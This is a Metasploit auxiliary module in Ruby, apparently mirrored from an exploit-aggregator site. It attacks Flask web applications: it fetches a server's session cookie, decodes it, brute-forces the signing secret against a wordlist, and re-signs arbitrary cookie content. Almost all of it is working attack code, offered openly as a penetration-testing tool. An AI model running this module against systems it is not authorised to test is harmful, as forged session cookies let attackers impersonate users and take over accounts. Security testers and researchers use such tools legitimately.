## https://sploitus.com/exploit?id=MSF:AUXILIARY-GATHER-PYTHON_FLASK_COOKIE_SIGNER-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Python Flask Cookie Signer',
'Description' => %q{
This is a generic module which can manipulate Python Flask-based application cookies.
The Retrieve action will connect to a web server, grab the cookie, and decode it.
The Resign action will do the same as above, but after decoding it, it will replace
the contents with that in NEWCOOKIECONTENT, then sign the cookie with SECRET. This
cookie can then be used in a browser. This is a Ruby based implementation of some
of the features in the Python project Flask-Unsign.
},
'Author' => [
'h00die', # MSF module
'paradoxis', # original flask-unsign tool
'Spencer McIntyre', # MSF flask-unsign library
],
'References' => [
['URL', 'https://github.com/Paradoxis/Flask-Unsign'],
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
},
'Actions' => [
['Retrieve', { 'Description' => 'Retrieve a cookie from an HTTP(s) server' }],
['FindSecret', { 'Description' => 'Brute force the secret key used to sign the cookie' }],
['Resign', { 'Description' => 'Resign the specified cookie data' }]
],
'DefaultAction' => 'Retrieve',
'DisclosureDate' => '2019-01-26' # first commit by @Paradoxis to the Flask-Unsign repo
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'URI to browse', '/']),
OptString.new('NEWCOOKIECONTENT', [ false, 'Content of a cookie to sign', ''], conditions: %w[ACTION == Resign]),
OptString.new('SECRET', [ true, 'The key with which to sign the cookie', '']),
OptPath.new('SECRET_KEYS_FILE', [
false, 'File containing secret keys to try, one per line',
File.join(Msf::Config.data_directory, 'wordlists', 'flask_secret_keys.txt')
], conditions: %w[ACTION == FindSecret]),
]
)
register_advanced_options(
[
OptString.new('CookieName', [ true, 'The name of the session cookie', 'session' ]),
OptString.new('Salt', [ true, 'The salt to use for key derivation', Msf::Exploit::Remote::HTTP::FlaskUnsign::Session::DEFAULT_SALT ])
]
)
end
def action_find_secret
print_status("#{peer} - Retrieving Cookie")
res = send_request_cgi!({
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
cookie = cookie_jar.cookies.find { |c| c.name == datastore['CookieName'] }&.cookie_value
fail_with(Failure::UnexpectedReply, "#{peer} - Response is missing the session cookie") unless cookie
print_status("#{peer} - Initial Cookie: #{cookie}")
# get the cookie value and strip off anything else
cookie = cookie.split('=')[1].gsub(';', '')
File.open(datastore['SECRET_KEYS_FILE'], 'rb').each do |secret|
secret = secret.strip
vprint_status("#{peer} - Checking secret key: #{secret}")
unescaped_secret = unescape_string(secret)
unless Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?(cookie, unescaped_secret)
vprint_bad("#{peer} - Incorrect secret key: #{secret}")
next
end
print_good("#{peer} - Found secret key: #{secret}")
return secret
end
nil
end
def action_retrieve
print_status("#{peer} - Retrieving Cookie")
res = send_request_cgi!({
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
cookie = cookie_jar.cookies.find { |c| c.name == datastore['CookieName'] }&.cookie_value
fail_with(Failure::UnexpectedReply, "#{peer} - Response is missing the session cookie") unless cookie
print_status("#{peer} - Initial Cookie: #{cookie}")
cookie = cookie.split('=')[1].gsub(';', '')
begin
decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie)
rescue StandardError => e
print_error("Failed to decode the cookie: #{e.class} #{e}")
return
end
print_status("#{peer} - Decoded Cookie: #{decoded_cookie}")
# use dehex to allow \x style escape sequences for unprintable chars
secret = unescape_string(datastore['SECRET'])
salt = unescape_string(datastore['Salt'])
if Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?(cookie, secret, salt: salt)
print_good("#{peer} - Secret key #{secret.inspect} is correct.")
elsif datastore['SECRET'].present?
print_warning("#{peer} - Secret key #{secret.inspect} is incorrect.")
end
end
def run
case action.name
when 'Retrieve'
action_retrieve
when 'FindSecret'
action_find_secret
when 'Resign'
print_status("Attempting to sign with key: #{datastore['SECRET']}")
secret = Rex::Text.dehex(datastore['SECRET'])
salt = Rex::Text.dehex(datastore['Salt'])
encoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign(datastore['NEWCOOKIECONTENT'], secret, salt: salt)
print_good("#{peer} - New signed cookie: #{datastore['CookieName']}=#{encoded_cookie}")
end
end
def unescape_string(string)
Rex::Text.dehex(string.gsub('\\', '\\').gsub('\\n', "\n").gsub('\\t', "\t"))
end
end